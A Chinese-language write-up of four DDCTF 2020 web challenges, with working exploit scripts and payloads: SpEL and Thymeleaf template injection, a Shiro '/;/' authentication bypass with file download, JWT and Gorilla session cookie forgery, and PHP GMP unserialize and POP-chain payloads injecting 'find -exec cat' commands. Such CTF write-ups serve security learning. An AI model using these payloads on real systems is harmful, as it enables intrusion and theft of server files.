2020DDCTFweb题目

趁环境还没关,赶紧复现

0x01 web 签到题

利用c-jwt-cracker可以爆破出jwt密钥,

image-20200904201412608

然后伪造jwt-token

image-20200904201350339

image-20200904201328523

下载到client。

1
export http_ptoxy=127.0.0.1:8080

image-20200907172631133

burp抓包

image-20200907172709427

逆向client,web狗不会逆向,看wp说是用的 HMAC sha256加密,密钥是DDCTFWithYou。

image-20200907185108863

验证:

image-20200907190017072

image-20200907185932978

赛后看wp知道是spel,参考l3yx的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import re
import time
import urllib.parse

def getSignature(command,time):
command=urllib.parse.quote(command)
headers = {
"Host": "1024tools.com",
"Content-Type": "application/x-www-form-urlencoded"
}
url = "https://1024tools.com/hmac"
data="query="+command+"|"+time+"&algo=sha256&key=DDCTFWithYou"
res = requests.post(url=url,headers=headers,data=data)

r=re.compile('B:(HMAC(.*?)<textarea class="form-control" id="result_base64" rows="2" spellcheck="false" name="result" cols="50">(.*?)</textarea>',re.DOTALL)
return r.search(res.text).group(2)

def sendCommand(command,time):
signature = getSignature(command,time)
headers = {
"Host": "117.51.136.197",
"Content-Type": "application/json"
}
url = "http://117.51.136.197/server/command"
data = '{"signature":"'+signature+'","command":"'+command+'","timestamp":'+time+'}'

res = requests.post(url=url,headers=headers,data=data)
return res.text

command = "T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))"
command = "new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()"
print(sendCommand(command,str(int(time.time()))))
image-20200907190221623

0x02 卡片商店

可以借卡片,如果借2的61次方会溢出,导致还两张即可,等40秒,就会换完,可以兑换礼物。

image-20200907190752097

image-20200907191016881

1
2
3
4
5
6
7
8
9
某礼物商店正在做活动,100张卡片可兑换礼物,你能帮小明换到他想要的礼物吗?规则如下:
1. 截止2020-09-04 08:55:34之前,每20秒会免费获得1张卡片,且可进行礼物兑换。
2. 可随时向朋友互借卡片。


小明目前手上有4611686018427387706张卡片。


恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?

看cookie,通过搜索可以知道为go的Gorilla session

利用这个工具伪造cookie,

image-20200904195829476

image-20200904195946296

0x03 easy web

截包可以发现rememberme,可以确定是shiro

image-20200907145411924

然后用xray,常见的密钥也没有跑出来,看wp后知道是shiro的权限绕过漏洞,用/;/可以绕过认证。

image-20200907145557582

存在任意文件下载漏洞。

image-20200907145759976

/34867ccfda85234382210155be32525c/;/web/img?img=WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0" metadata-complete="false">

<display-name>Archetype Created Web Application</display-name>

<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>
classpath:spring-core.xml
</param-value>
</context-param>

<listener>
<listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
</listener>

<listener>
<listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class>
</listener>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-web.xml</param-value>
</init-param>
</servlet>

<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<filter>
<filter-name>safeFilter</filter-name>
<filter-class>com.ctf.util.SafeFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>safeFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>

<error-page>
<error-code>404</error-code>
<location>/hacker.jsp</location>
</error-page>

<error-page>
<error-code>403</error-code>
<location>/hacker.jsp</location>
</error-page>

</web-app>

WEB-INF/classes/spring-web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">

<!-- 自动扫描 Controller 包 -->
<context:component-scan base-package="com.ctf.controller"/>

<context:component-scan base-package="com.ctf.repository"/>

<context:component-scan base-package="com.ctf.service"/>

<!-- 注解配置和乱码处理 -->
<mvc:annotation-driven>
<mvc:message-converters>
<bean class="org.springframework.http.converter.StringHttpMessageConverter">
<constructor-arg value="UTF-8"/>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>

<mvc:default-servlet-handler/>

</beans>

WEB-INF/classes/spring-core.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:jee="http://www.springframework.org/schema/jee"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemaLocation="http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd
http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-4.0.xsd
http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd">

<import resource="classpath:spring-shiro.xml" />

<!-- 声明自动为spring容器中那些配置@Aspectj切面的bean创建代理,织入切面 -->
<aop:aspectj-autoproxy></aop:aspectj-autoproxy>

<!-- 支持事物注解(@Transactional) -->
<tx:annotation-driven/>

<bean id="viewResolver" class="org.thymeleaf.spring4.view.ThymeleafViewResolver">
<property name="order" value="1"/>
<property name="characterEncoding" value="UTF-8"/>
<property name="templateEngine" ref="templateEngine"/>
</bean>

<bean id="templateEngine" class="org.thymeleaf.spring4.SpringTemplateEngine">
<property name="templateResolver" ref="templateResolver" />
</bean>

<bean id="templateResolver" class="org.thymeleaf.spring4.templateresolver.SpringResourceTemplateResolver">
<property name="prefix" value="/WEB-INF/templates/"/>
<property name="suffix" value=".html"/>
<property name="templateMode" value="HTML5"/>
<property name="cacheable" value="false"/>
<property name="characterEncoding" value="UTF-8" />
</bean>

<context:annotation-config />
<context:component-scan base-package="com.ctf">
<context:include-filter type="annotation" expression="org.springframework.stereotype.Service" />
<context:include-filter type="annotation" expression="org.springframework.stereotype.Repository" />
</context:component-scan>

</beans>

WEB-INF/classes/com/ctf/util/SafeFilter.class

image-20200907150313875

image-20200907150429584

WEB-INF/classes/com/ctf/controller/IndexController.class

image-20200907194322445

WEB-INF/classes/com/ctf/controller/AuthController.class

image-20200907194510559

WEB-INF/classes/com/ctf/auth/ShiroRealm.class

image-20200907194341223

参考l3yx的wp脚本,考点是thymeleaf模板注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import urllib.parse
import re

headers = {
"Host": "116.85.37.131",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "http://116.85.37.131",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/index",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
}

def render(payload):
print("[+] submit...")
url = "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/customize"
data = "content="+urllib.parse.quote_plus(payload)

res = requests.post(url = url,headers = headers,data = data)
if re.search("Success! Please fetch .(.*)? !",res.text) is None:
print(res.text)
exit()
else:
return re.search("Success! Please fetch .(.*)? !",res.text).group(1)

def getResult(url):
print("[+] getResult...")
url = "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef"+url

res = requests.get(url,headers=headers)
return res.text

def getString(string):
strc=""
for i in string:
strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i)))
return strc[:-1]

def getClass(className):
return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")"

poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/")+")).toArray()" +")}"
poc = "<input th:value="+poc+">"
print(getResult(render(poc)))

poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/flag_is_here")+")).toArray()" +")}"
poc = "<input th:value="+poc+">"
print(getResult(render(poc)))

image-20200907151746252

参考decade的解法,是利用1.class.forname()获取类,用String类动态生成字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
def encode(message):
payload = 'T(Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
payload +='.concat(T(Character).toString(%s))' % ord(ch)
return payload

url = "http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/customize"
pattern = re.compile("render\/(.*?) !")

# GetFlagName
message ='1.class. forName({Files}).list(1.class. forName({Paths}).get({path})).toArray()[19]'.format(Files=encode("java.nio.file.Files"), Paths=encode("java.nio.file.Paths"), path=encode("/"))
res1 = requests.post(url,data = {"content":"[[${"+message+"}]]"})
render = pattern.search(res1.text)
renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}".format(render.group(1)))
# print(renderurl.text)

# GetFlag
message = '1.class. forName({Files}).lines(1.class. forName({Paths}).get({path})).toArray()[0]'.format(Files=encode("java.nio.file.Files"), Paths=encode("java.nio.file.Paths"), path=encode("/flag_is_here"))
res2 = requests.post(url,data = {"content":"[[${"+message+"}]]"})
render = pattern.search(res2.text)
renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}".format(render.group(1)))
print(renderurl.text)

0x04 overwrite me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 1;
}

public function get_flag()
{
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}

class Prompter
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class Repeater
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
var_dump($func);
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new Display();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $show->contents;
echo $mc->get_flag();
}

可以看phpinfo()对应的php版本为php5.6.10,正好考察的是前期的https://paper.seebug.org/1267/,GMP的漏洞。

访问hint.php,得到前半段flag。

image-20200907144813693

1
Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!

然后参考那篇文章和hackone的payload。

漏洞利用需要有__wakeup()函数,题目中给了一个MyClass包含一个__wakeup()函数,但是其对应的kw0ng变量值为1,只能通过反序列化修改$show(第一个实例化的Display类)的成员。所以需要利用DateInterval内置类的__wakeup()函数,本地测试如下:

1
2
3
4
5
6
7
<?php
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$inner = 's:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$inner = 's:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:7:"MyClass":1:{s:5:"kw0ng";R:2;}}';
$inner = 's:1:"3";a:3:{s:5:"kw0ng";R:1;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
//-exec cat /FlagNeverFall/suffix_flag.php {} ;
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
  • MyClass的\wakeup()

image-20200907202246240

可以看到是$show的contents被修改了。

  • DateInterval的__wakeup()
1
$bullet = 'a:1:{i:0;C:3:"GMP":84:{s:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}';
image-20200907202817990

将s对应的值更改为3,

1
$bullet = 'a:1:{i:0;C:3:"GMP":84:{s:1:"3";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}';
image-20200907203049206

这样就把$mc的contents值修改了,所以可以利用这里修改$mc的flag值,执行命令。

1
http://117.51.137.166/EOf9uk3nSsVFK1LQ.php?bullet=a:1:{i:0;C:3:"GMP":132:{s:1:"3";a:3:{s:5:"kw0ng";R:1;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}

image-20200907172112628

另外还可以不利用GMP的漏洞,直接用反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(-1);
class MyClass
{
var $kw0ng;
var $flag;

}
class Display
{
public $contents;
public $page;

}
///FlagNeverFall/suffix_flag.php
class Repeater
{
private $cont;
public $content;
}

$my = new MyClass();
$my->flag = '-exec cat /FlagNeverFall/suffix_flag.php {} ;';

$rep = new Repeater();
$rep->content = [$my,'get_flag'];
$dis = new Display();
$dis->page = $rep;
echo urlencode(serialize($dis));
1
?bullet=O%3A7%3A%22Display%22%3A2%3A%7Bs%3A8%3A%22contents%22%3BN%3Bs%3A4%3A%22page%22%3BO%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A7%3A%22content%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22MyClass%22%3A2%3A%7Bs%3A5%3A%22kw0ng%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A45%3A%22-exec+cat+%2FFlagNeverFall%2Fsuffix_flag.php+%7B%7D+%3B%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7Ds%3A14%3A%22%00Repeater%00cont%22%3BN%3B%7D%7D

image-20200907162515459

感觉这个反序列化是用来包含hint.php的。

参考

https://www.anquanke.com/post/id/216694

https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/